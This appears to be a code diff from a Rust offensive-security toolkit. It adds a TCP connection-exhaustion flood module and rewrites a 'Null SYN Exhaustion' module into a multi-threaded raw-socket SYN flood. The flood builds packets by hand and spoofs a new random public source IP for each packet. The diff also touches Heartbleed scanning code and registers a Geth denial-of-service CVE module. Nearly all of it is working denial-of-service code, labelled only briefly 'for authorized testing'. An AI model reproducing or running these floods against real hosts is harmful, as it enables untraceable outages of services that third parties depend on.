ip, node_info.version.as_deref().unwrap_or("Unknown")).cyan());
}
}
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
active_tasks.push(task);
// FIX: Clean up completed tasks periodically to prevent unbounded growth
if active_tasks.len() >= threads * 10 {
// Drain first batch of tasks
let drain_count = threads.min(active_tasks.len());
for task in active_tasks.drain(..drain_count) {
let _ = task.await;
}
}
}
// Wait for remaining tasks to complete
println!("{}", "[*] Waiting for active scans to complete...".cyan());
for task in active_tasks {
let _ = task.await;
}
// FIX: Properly shutdown background tasks
drop(tx); // Close channel to signal writer to exit
let _ = writer_handle.await;
// Stop progress reporter (it checks shutdown flag)
let _ = progress_handle.await;
println!();
println!("{}", "═══ Random Scan Complete ═══".cyan().bold());
println!(" Checked: {}", checked.load(Ordering::Relaxed));
println!(" {}", format!("Vulnerable: {}", found.load(Ordering::Relaxed)).green());
println!(" Results saved to: {}", outfile.green());
Ok(())
}
@@ -439,10 +439,10 @@ fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let time_now = match SystemTime::now().duration_since(UNIX_EPOCH) {
Ok(d) => d.as_secs() as u32,
Err(_) => 0,
};
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
+2
View File
@@ -0,0 +1,2 @@
pub mod heartbleed;
pub mod geth_dos_cve_2026_22862;
@@ -0,0 +1,360 @@
// src/modules/exploits/dos/connection_exhaustion_flood.rs
//
// Ultra-fast connection flood (server-side exhaustion)
// Opens TCP connections in parallel as fast as possible, immediately closes them.
// Uses a semaphore to bound max concurrent FDs so the LOCAL machine never runs out.
// Target: exhaust server's connection table / TIME_WAIT slots
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::SocketAddr;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::Instant;
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
/// Maximum concurrent file descriptors to use (local side protection)
const DEFAULT_MAX_FDS: usize = 1000;
/// Configuration for the connection flood
#[derive(Clone, Debug)]
struct FloodConfig {
target_display: String,
resolved_addrs: Vec<SocketAddr>,
max_concurrent_fds: usize,
worker_count: usize,
duration_secs: u64,
connect_timeout_ms: u64,
verbose: bool,
}
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
print_banner();
let config = setup_wizard(initial_target).await?;
execute_flood(&config).await
}
fn print_banner() {
println!(
"{}",
r#"
Connection Exhaustion Flood
Ultra-Fast Parallel TCP Connect & Drop
Server-Side Resource Exhaustion
This module BOUNDS local FD usage via semaphore.
Your system will NOT run out of file descriptors.
"#
.red()
.bold()
);
}
async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
println!("{}", "=== Configuration ===".blue().bold());
// Target
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target Host/IP")?
} else {
println!(
"{}",
format!("[*] Using target: {}", initial_target).cyan()
);
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
// Extract host and port
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
let parsed_port = p.parse::<u16>()
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
(h.to_string(), parsed_port)
} else {
let p = prompt_port("Target Port", 80)?;
(normalized, p)
};
let target_display = format!("{}:{}", host, port);
// Pre-resolve DNS
println!(
"{}",
format!("[*] Resolving {}...", target_display).yellow()
);
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_display)
.await
.context("Failed to resolve target hostname")?
.collect();
if resolved_addrs.is_empty() {
return Err(anyhow!("Could not resolve target address"));
}
println!(
"{}",
format!("[+] Resolved to: {:?}", resolved_addrs).green()
);
// Max concurrent FDs (local protection)
let max_fds_input = prompt_default(
"Max Concurrent FDs (local limit)",
&DEFAULT_MAX_FDS.to_string(),
)?;
let max_concurrent_fds: usize = max_fds_input
.parse()
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
if max_concurrent_fds == 0 {
return Err(anyhow!("Max FDs must be > 0"));
}
// Worker count (async tasks spawning connections)
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
let worker_count: usize = workers_input
.parse()
.map_err(|_| anyhow!("Invalid number for workers"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
let duration_secs: u64 = duration_input
.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
// Connection timeout
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
let connect_timeout_ms: u64 = timeout_input
.parse()
.map_err(|_| anyhow!("Invalid timeout"))?;
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
println!("\n{}", "=== Attack Summary ===".bold());
println!(" Target: {}", target_display.cyan());
println!(" Resolved IPs: {:?}", resolved_addrs);
println!(" Max Concurrent FDs: {} (LOCAL PROTECTION)", max_concurrent_fds);
println!(" Worker Tasks: {}", worker_count);
println!(
" Duration: {}",
if duration_secs == 0 {
"INFINITE (Ctrl+C to stop)".to_string()
} else {
format!("{}s", duration_secs)
}
);
println!(" Mode: Connect & Immediate Drop (FD-Bounded)");
println!();
println!(
"{}",
"[!] Your local FD usage is capped. Target's connection"
.yellow()
);
println!(
"{}",
" table will be exhausted, not yours.".yellow()
);
if !prompt_yes_no("Start Attack?", true)? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(FloodConfig {
target_display,
resolved_addrs,
max_concurrent_fds,
worker_count,
duration_secs,
connect_timeout_ms,
verbose,
})
}
async fn execute_flood(config: &FloodConfig) -> Result<()> {
println!(
"\n{}",
"[*] Starting Connection Exhaustion Flood..."
.yellow()
.bold()
);
println!(
"{}",
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
.dimmed()
);
let stop_flag = Arc::new(AtomicBool::new(false));
let stats_connected = Arc::new(AtomicU64::new(0));
let stats_failed = Arc::new(AtomicU64::new(0));
// Semaphore bounds the number of OPEN file descriptors at any time
let fd_semaphore = Arc::new(Semaphore::new(config.max_concurrent_fds));
let start_time = Instant::now();
let connect_timeout = Duration::from_millis(config.connect_timeout_ms);
// Use first resolved address for raw speed
let target_addr = config.resolved_addrs[0];
// Stats printer task
let s_stop = stop_flag.clone();
let s_conn = stats_connected.clone();
let s_fail = stats_failed.clone();
let s_start = start_time;
let stats_handle = tokio::spawn(async move {
let mut last_conn = 0u64;
loop {
tokio::time::sleep(Duration::from_secs(1)).await;
if s_stop.load(Ordering::Relaxed) {
break;
}
let conn = s_conn.load(Ordering::Relaxed);
let fail = s_fail.load(Ordering::Relaxed);
let elapsed = s_start.elapsed().as_secs_f64();
let rate = conn as f64 / elapsed.max(0.001);
let delta = conn.saturating_sub(last_conn);
last_conn = conn;
print!(
"\r{} {}",
"[*]".dimmed(),
format!(
"Connected: {} | Failed: {} | Rate: {:.0}/s | Last sec: {} conns ",
conn, fail, rate, delta
)
.dimmed()
);
use std::io::Write;
let _ = std::io::stdout().flush();
}
});
// Spawn worker tasks
// Each worker continuously: acquire semaphore -> connect -> close -> release semaphore
let mut handles = Vec::with_capacity(config.worker_count);
for _ in 0..config.worker_count {
let stop = stop_flag.clone();
let sem = fd_semaphore.clone();
let conn_stat = stats_connected.clone();
let fail_stat = stats_failed.clone();
let timeout = connect_timeout;
let verbose = config.verbose;
let target = target_addr;
let handle = tokio::spawn(async move {
let mut rng_counter = 0u64;
while !stop.load(Ordering::Relaxed) {
// Acquire semaphore permit BEFORE opening a connection
// This ensures we never exceed max_concurrent_fds open sockets
let permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed
};
// Attempt connection
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
Ok(Ok(stream)) => {
// Successfully connected
conn_stat.fetch_add(1, Ordering::Relaxed);
// Immediately drop the stream to close the connection
// This sends FIN, server still has to handle TIME_WAIT
drop(stream);
}
Ok(Err(e)) => {
// Connection error (refused, unreachable, etc.)
fail_stat.fetch_add(1, Ordering::Relaxed);
if verbose {
rng_counter = rng_counter.wrapping_add(1);
// Log ~0.1% of errors
if rng_counter % 1000 == 0 {
eprintln!("\n[!] Connect error: {}", e);
}
}
}
Err(_) => {
// Timeout
fail_stat.fetch_add(1, Ordering::Relaxed);
}
}
// Drop permit to release the semaphore slot
// (This happens automatically but being explicit is clearer)
drop(permit);
}
});
handles.push(handle);
}
// Run for duration (or forever if 0)
if config.duration_secs > 0 {
tokio::time::sleep(Duration::from_secs(config.duration_secs)).await;
} else {
// Infinite mode - wait for Ctrl+C signal for graceful shutdown
println!(
"\n{}",
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
);
let _ = tokio::signal::ctrl_c().await;
}
// Signal stop
stop_flag.store(true, Ordering::Relaxed);
println!();
println!("{}", "[*] Stopping workers...".yellow());
// Wait for workers to finish their current iteration
for h in handles {
let _ = tokio::time::timeout(Duration::from_secs(5), h).await;
}
// Stop stats printer
let _ = stats_handle.await;
// Final report
let total_conn = stats_connected.load(Ordering::Relaxed);
let total_fail = stats_failed.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
println!("\n{}", "=== Attack Complete ===".green().bold());
println!("Target: {}", config.target_display);
println!("Duration: {:.2}s", elapsed);
println!("Total Connections: {}", total_conn);
println!("Failed Attempts: {}", total_fail);
if elapsed > 0.0 {
println!("Average Rate: {:.0} conn/s", total_conn as f64 / elapsed);
}
println!();
println!(
"{}",
format!("[+] Local FD usage was bounded to {} concurrent.", config.max_concurrent_fds)
.green()
);
println!(
"{}",
format!(
" Target received {} handshake attempts (server-side exhaustion).",
total_conn
)
.green()
);
Ok(())
}
+2
View File
@@ -1 +1,3 @@
pub mod connection_exhaustion_flood;
pub mod null_syn_exhaustion;
pub mod tcp_connection_flood;
+486 -243
View File
@@ -1,62 +1,421 @@
//! Null SYN Exhaustion Testing Module
//!
//! Opens concurrent SYN connections sending null-byte streams for resource exhaustion testing.
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
//! Uses native OS threads for CPU-bound packet generation with minimal overhead.
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use rand::Rng;
use pnet_packet::tcp::{MutableTcpPacket, TcpFlags};
use socket2::{Domain, Protocol, Socket, Type};
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::sync::Semaphore;
use tokio::time::Instant;
use std::thread;
use std::time::{Duration, Instant, SystemTime};
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
};
// ============================================================================
// CONSTANTS
// ============================================================================
const IPV4_HEADER_LEN: usize = 20;
const TCP_HEADER_LEN: usize = 20;
const STATS_BATCH_SIZE: u64 = 500; // Flush stats every N packets
const DEFAULT_TTL: u8 = 64;
const DEFAULT_WINDOW: u16 = 64240;
// ============================================================================
// CONFIGURATION
// ============================================================================
/// Configuration for the exhaustion test
#[derive(Clone, Debug)]
struct ExhaustionConfig {
pub struct ExhaustionConfig {
target_ip: Ipv4Addr,
target_port: u16,
source_port: Option<u16>,
use_random_source_ip: bool,
concurrent_streams: usize,
worker_count: usize,
duration_secs: u64,
interval_mode: IntervalMode,
payload_size: usize,
verbose: bool,
}
#[derive(Clone, Debug)]
enum IntervalMode {
Zero, // Max speed, no delay
Delay(u64), // Delay in milliseconds
#[derive(Clone, Copy, Debug)]
pub enum IntervalMode {
/// Maximum speed - no artificial delay
Zero,
/// Fixed delay between packets in microseconds
DelayMicros(u64),
}
// ============================================================================
// FAST RNG (Thread-Safe Seeding)
// ============================================================================
/// XorShift128+ PRNG - high performance, non-cryptographic
/// Each instance is uniquely seeded using thread ID + time for isolation
struct FastRng {
s0: u64,
s1: u64,
}
impl FastRng {
/// Create a new RNG with unique seed per caller
fn with_thread_seed(thread_id: usize) -> Self {
let time_seed = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
Ok(d) => d.as_nanos() as u64,
Err(_) => 0,
};
// Mix thread ID with time to ensure unique seeds across threads
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
let s1 = (time_seed.rotate_left(17)) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
let mut rng = Self { s0, s1 };
// Warm up the RNG state
for _ in 0..16 {
rng.next_u64();
}
rng
}
#[inline(always)]
fn next_u64(&mut self) -> u64 {
let mut x = self.s0;
let y = self.s1;
self.s0 = y;
x ^= x << 23;
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
self.s1.wrapping_add(y)
}
#[inline(always)]
fn next_u32(&mut self) -> u32 {
self.next_u64() as u32
}
#[inline(always)]
fn next_u16(&mut self) -> u16 {
self.next_u64() as u16
}
#[inline(always)]
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
loop {
let octets = self.next_u32().to_be_bytes();
// Exclude: loopback, any, multicast, reserved, private ranges
match octets[0] {
0 | 10 | 127 => continue, // 0.x, 10.x, 127.x
224..=255 => continue, // Multicast / Reserved
172 if (16..=31).contains(&octets[1]) => continue, // 172.16-31.x
192 if octets[1] == 168 => continue, // 192.168.x
169 if octets[1] == 254 => continue, // 169.254.x (link-local)
100 if (64..=127).contains(&octets[1]) => continue, // 100.64-127.x (CGNAT)
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
#[inline(always)]
fn gen_ephemeral_port(&mut self) -> u16 {
// Range: 49152-65535 (IANA ephemeral)
(self.next_u16() % 16384) + 49152
}
}
// ============================================================================
// PACKET BUILDER
// ============================================================================
/// Pre-allocated packet buffer with efficient field updates
struct PacketBuilder {
buffer: Vec<u8>,
use_random_src_ip: bool,
fixed_src_ip: Ipv4Addr,
fixed_src_port: Option<u16>,
target_ip: Ipv4Addr,
target_port: u16,
}
impl PacketBuilder {
fn new(config: &ExhaustionConfig, local_ip: Ipv4Addr) -> Result<Self> {
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
debug_assert!(total_len <= u16::MAX as usize, "Packet size exceeds IPv4 maximum");
let buffer = vec![0u8; total_len];
Ok(Self {
buffer,
use_random_src_ip: config.use_random_source_ip,
fixed_src_ip: local_ip,
fixed_src_port: config.source_port,
target_ip: config.target_ip,
target_port: config.target_port,
})
}
/// Update dynamic fields and compute checksums
/// Returns a reference to the ready-to-send buffer
#[inline]
fn build_packet(&mut self, rng: &mut FastRng) -> &[u8] {
// CRITICAL: Generate random source IP for each packet when spoofing is enabled
let src_ip = if self.use_random_src_ip {
rng.gen_ipv4_public() // Generate a NEW random IP for EVERY packet
} else {
self.fixed_src_ip
};
let src_port = self.fixed_src_port.unwrap_or_else(|| rng.gen_ephemeral_port());
let ip_id = rng.next_u16();
let seq_num = rng.next_u32();
let total_len = self.buffer.len() as u16;
// Build IP header from scratch each time to ensure source IP is set correctly
if let Some(mut ip) = MutableIpv4Packet::new(&mut self.buffer) {
ip.set_version(4);
ip.set_header_length(5);
ip.set_dscp(0);
ip.set_ecn(0);
ip.set_total_length(total_len);
ip.set_identification(ip_id);
ip.set_flags(0);
ip.set_fragment_offset(0);
ip.set_ttl(DEFAULT_TTL);
ip.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip.set_source(src_ip); // CRITICAL: Set the random source IP here
ip.set_destination(self.target_ip);
// Calculate IP checksum
ip.set_checksum(0);
let checksum = ipv4::checksum(&ip.to_immutable());
ip.set_checksum(checksum);
}
// Build TCP header
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_source(src_port);
tcp.set_destination(self.target_port);
tcp.set_sequence(seq_num);
tcp.set_acknowledgement(0);
tcp.set_data_offset(5);
tcp.set_reserved(0);
tcp.set_flags(TcpFlags::SYN);
tcp.set_window(DEFAULT_WINDOW);
tcp.set_urgent_ptr(0);
tcp.set_checksum(0);
}
// Calculate TCP checksum with pseudo-header
let tcp_checksum = self.calculate_tcp_checksum(src_ip);
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
tcp.set_checksum(tcp_checksum);
}
&self.buffer
}
#[inline]
fn calculate_tcp_checksum(&self, src_ip: Ipv4Addr) -> u16 {
let mut sum: u32 = 0;
// 1. Pseudo-Header Sum
// Source IP
let src_octets = src_ip.octets();
sum += u16::from_be_bytes([src_octets[0], src_octets[1]]) as u32;
sum += u16::from_be_bytes([src_octets[2], src_octets[3]]) as u32;
// Dest IP
let dst_octets = self.target_ip.octets();
sum += u16::from_be_bytes([dst_octets[0], dst_octets[1]]) as u32;
sum += u16::from_be_bytes([dst_octets[2], dst_octets[3]]) as u32;
// Reserved (0) + Protocol (6 for TCP)
sum += IpNextHeaderProtocols::Tcp.0 as u32;
// TCP Length (Header + Payload)
let tcp_len = (self.buffer.len() - IPV4_HEADER_LEN) as u32;
sum += tcp_len;
// 2. TCP Header + Payload Sum
let tcp_data = &self.buffer[IPV4_HEADER_LEN..];
for chunk in tcp_data.chunks(2) {
if chunk.len() == 2 {
sum += u16::from_be_bytes([chunk[0], chunk[1]]) as u32;
} else if chunk.len() == 1 {
// Pad last odd byte with zero
sum += u16::from_be_bytes([chunk[0], 0]) as u32;
}
}
// Fold 32-bit sum to 16-bit
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline]
fn packet_size(&self) -> usize {
self.buffer.len()
}
}
// ============================================================================
// WORKER THREAD
// ============================================================================
/// Statistics for a single worker
struct WorkerStats {
packets: u64,
bytes: u64,
}
/// Run the packet sending loop for a single worker thread
fn worker_thread(
worker_id: usize,
config: ExhaustionConfig,
local_ip: Ipv4Addr,
stop_flag: Arc<AtomicBool>,
global_packets: Arc<AtomicU64>,
global_bytes: Arc<AtomicU64>,
start_time: Instant,
) {
// Create dedicated socket for this worker (no contention)
let socket = match create_raw_socket() {
Ok(s) => s,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Worker 0 socket error: {}", e).red().bold());
}
return;
}
};
// Pre-allocate packet builder
let mut builder = match PacketBuilder::new(&config, local_ip) {
Ok(b) => b,
Err(e) => {
if worker_id == 0 {
eprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
}
return;
}
};
// Thread-local RNG with unique seed
let mut rng = FastRng::with_thread_seed(worker_id);
// Destination socket address (constant)
let dst_addr: socket2::SockAddr = SocketAddr::new(IpAddr::V4(config.target_ip), 0).into();
let duration = Duration::from_secs(config.duration_secs);
let delay = match config.interval_mode {
IntervalMode::Zero => None,
IntervalMode::DelayMicros(us) => Some(Duration::from_micros(us)),
};
let packet_size = builder.packet_size() as u64;
let mut stats = WorkerStats { packets: 0, bytes: 0 };
// Main send loop
loop {
// Check termination conditions
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
break;
}
// Build packet with NEW random source IP each time if spoofing enabled
let packet = builder.build_packet(&mut rng);
match socket.send_to(packet, &dst_addr) {
Ok(_) => {
stats.packets += 1;
stats.bytes += packet_size;
}
Err(e) => {
// Log permission errors only once
if config.verbose && worker_id == 0 {
let err_str = e.to_string();
if err_str.contains("ermission") || err_str.contains("EPERM") {
eprintln!("\n{}", "[!] Root privileges required for raw sockets.".red().bold());
stop_flag.store(true, Ordering::Relaxed);
break;
}
}
}
}
// Batch update global stats to reduce atomic contention
if stats.packets >= STATS_BATCH_SIZE {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
stats.packets = 0;
stats.bytes = 0;
}
// Apply delay if configured
if let Some(d) = delay {
thread::sleep(d);
}
}
// Flush remaining stats
if stats.packets > 0 {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
}
}
/// Create an optimized raw socket for IP spoofing
fn create_raw_socket() -> Result<Socket> {
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket (requires root)")?;
// CRITICAL: Enable IP_HDRINCL to allow custom IP headers (required for spoofing)
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Increase send buffer for burst capacity
let _ = socket.set_send_buffer_size(256 * 1024);
Ok(socket)
}
// ============================================================================
// MAIN EXECUTION
// ============================================================================
/// Entry point for the module
pub async fn run(initial_target: &str) -> Result<()> {
display_banner();
let config = gather_config(initial_target).await?;
execute_exhaustion(&config).await
let config = gather_config(initial_target)?;
execute_attack(config).await
}
fn display_banner() {
println!("{}", r#"
Null SYN Exhaustion Testing Module
Null SYN Exhaustion Testing Module v2.1
High-Performance Multi-Threaded Engine
With True IP Spoofing Support
FOR AUTHORIZED TESTING ONLY
"#.red().bold());
}
async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
println!("{}", "=== Configuration ===".bold());
// Target IP
@@ -69,36 +428,40 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
let normalized = normalize_target(&target_input)?;
let target_ip: Ipv4Addr = normalized.parse()
.map_err(|_| anyhow!("Target must be a valid IPv4 address (IPv6 not supported for raw packets)"))?;
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
// Target Port
let target_port = prompt_port("Target port", 80)?;
// Source Port (optional)
// Source Port
let src_port_input = prompt_default("Source port (blank for random)", "")?;
let source_port = if src_port_input.is_empty() {
None
} else {
Some(src_port_input.parse::<u16>()
.map_err(|_| anyhow!("Invalid source port"))?)
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
};
// Random Source IP
let use_random_source_ip = prompt_yes_no("Use random (spoofed) source IPs? (requires root)", false)?;
let use_random_source_ip = prompt_yes_no(
"Use random (spoofed) source IPs? (requires root)",
false
)?;
// Concurrent Streams
let streams_input = prompt_default("Number of concurrent streams", "100")?;
let concurrent_streams: usize = streams_input.parse()
.map_err(|_| anyhow!("Invalid number"))?;
// Worker count - default to CPU cores for optimal performance
let cpu_count = num_cpus::get();
let workers_input = prompt_default(
&format!("Worker threads (recommended: {})", cpu_count),
&cpu_count.to_string()
)?;
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
if concurrent_streams == 0 {
return Err(anyhow!("Concurrent streams must be > 0"));
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
// Duration
let duration_input = prompt_required("Test duration (seconds)")?;
let duration_secs: u64 = duration_input.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
if duration_secs == 0 {
return Err(anyhow!("Duration must be > 0"));
@@ -109,25 +472,38 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
let interval_mode = if zero_interval {
IntervalMode::Zero
} else {
let delay_input = prompt_default("Delay between packets (ms)", "10")?;
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
IntervalMode::Delay(delay)
IntervalMode::DelayMicros(delay)
};
// Payload Size
let payload_input = prompt_default("Null-byte payload size", "1024")?;
let payload_size: usize = payload_input.parse()
.map_err(|_| anyhow!("Invalid payload size"))?;
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
// Cap to IPv4 maximum
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
if payload_size > MAX_PAYLOAD {
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
payload_size = MAX_PAYLOAD;
}
let verbose = prompt_yes_no("Verbose output?", false)?;
// Summary
println!("\n{}", "=== Test Configuration ===".bold());
println!(" Target: {}:{}", target_ip, target_port);
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".to_string()));
println!(" Random Source IP: {}", if use_random_source_ip { "yes" } else { "no" });
println!(" Concurrent Streams: {}", concurrent_streams);
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
println!(" Payload Size: {} bytes", payload_size);
println!(" Target: {}:{}", target_ip, target_port);
println!(" Source Port: {}", source_port.map(|p| p.to_string()).unwrap_or_else(|| "random".into()));
println!(" Random IP: {}", if use_random_source_ip { "yes (spoofed - NEW IP per packet)" } else { "no" });
println!(" Workers: {} threads", worker_count);
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
println!(" Payload: {} bytes", payload_size);
println!(" Packet Size: {} bytes", IPV4_HEADER_LEN + TCP_HEADER_LEN + payload_size);
if use_random_source_ip {
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
}
if !prompt_yes_no("\nProceed with test?", true)? {
return Err(anyhow!("Test cancelled by user"));
@@ -138,256 +514,123 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
target_port,
source_port,
use_random_source_ip,
concurrent_streams,
worker_count,
duration_secs,
interval_mode,
payload_size,
verbose,
})
}
async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
println!("\n{}", "[*] Starting Null SYN Exhaustion test...".yellow().bold());
async fn execute_attack(config: ExhaustionConfig) -> Result<()> {
println!("\n{}", "[*] Initializing attack engine...".yellow().bold());
// Shared state
let stop_flag = Arc::new(AtomicBool::new(false));
let packets_sent = Arc::new(AtomicU64::new(0));
let bytes_sent = Arc::new(AtomicU64::new(0));
// Resource-efficient: limit concurrent workers with semaphore
// Use a reasonable limit to avoid FD exhaustion
let max_concurrent = config.concurrent_streams.min(500);
let semaphore = Arc::new(Semaphore::new(max_concurrent));
// Detect local IP if needed (only used when NOT spoofing)
let local_ip = if !config.use_random_source_ip {
get_local_ipv4().unwrap_or(Ipv4Addr::new(127, 0, 0, 1))
} else {
Ipv4Addr::UNSPECIFIED
};
if config.use_random_source_ip {
println!("{}", "[*] IP Spoofing Mode: Each packet will use a different random source IP".green().bold());
} else {
println!("[*] Local IP: {}", local_ip);
}
println!("[*] Spawning {} worker threads...", config.worker_count);
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
// Spawn stats printer
let stats_stop = stop_flag.clone();
let stats_packets = packets_sent.clone();
let stats_bytes = bytes_sent.clone();
let stats_handle = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(1)).await;
let pkts = stats_packets.load(Ordering::Relaxed);
let bytes = stats_bytes.load(Ordering::Relaxed);
print!("\r{}", format!(
"[*] Packets: {} | Bytes: {} KB | Rate: {:.1} pkt/s",
pkts,
bytes / 1024,
pkts as f64 / start_time.elapsed().as_secs_f64()
).dimmed());
let _ = std::io::Write::flush(&mut std::io::stdout());
}
});
// Spawn native OS threads (not tokio tasks - blocking I/O)
let mut handles = Vec::with_capacity(config.worker_count);
// Spawn worker streams
let mut handles = Vec::new();
for stream_id in 0..config.concurrent_streams {
for worker_id in 0..config.worker_count {
let config = config.clone();
let sem = semaphore.clone();
let stop = stop_flag.clone();
let pkts = packets_sent.clone();
let bts = bytes_sent.clone();
let handle = tokio::spawn(async move {
// Acquire permit (blocks if too many concurrent)
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if let Err(e) = run_stream(stream_id, &config, stop, pkts, bts, start_time, duration).await {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") || e.to_string().contains("EPERM") {
eprintln!("\n{}", "[!] Root privileges required for raw sockets. Run with sudo.".red().bold());
}
}
let handle = thread::spawn(move || {
worker_thread(worker_id, config, local_ip, stop, pkts, bts, start_time);
});
handles.push(handle);
}
// Wait for duration
println!("{}", "[*] Attack started!".green().bold());
// Stats display loop (async-friendly)
let stats_stop = stop_flag.clone();
let stats_pkts = packets_sent.clone();
let stats_bytes = bytes_sent.clone();
let stats_task = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
let pkts = stats_pkts.load(Ordering::Relaxed);
let bytes = stats_bytes.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
let mbps = if elapsed > 0.0 { (bytes as f64 * 8.0) / (elapsed * 1_000_000.0) } else { 0.0 };
print!("\r{}", format!(
"[*] Packets: {:>10} | {:>7.2} MB | Rate: {:>9.0} pkt/s | {:>6.2} Mbps ",
pkts,
bytes as f64 / (1024.0 * 1024.0),
rate,
mbps
).dimmed());
let _ = std::io::Write::flush(&mut std::io::stdout());
}
});
// Wait for test duration
tokio::time::sleep(duration).await;
// Signal stop
stop_flag.store(true, Ordering::Relaxed);
// Signal workers to stop
stop_flag.store(true, Ordering::SeqCst);
// Wait for workers
// Wait for all workers to finish
for handle in handles {
let _ = handle.await;
let _ = handle.join();
}
stats_handle.abort();
stats_task.abort();
// Final stats
// Final statistics
let total_pkts = packets_sent.load(Ordering::Relaxed);
let total_bytes = bytes_sent.load(Ordering::Relaxed);
let elapsed = start_time.elapsed();
let elapsed_secs = elapsed.as_secs_f64();
println!("\n\n{}", "=== Test Complete ===".green().bold());
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
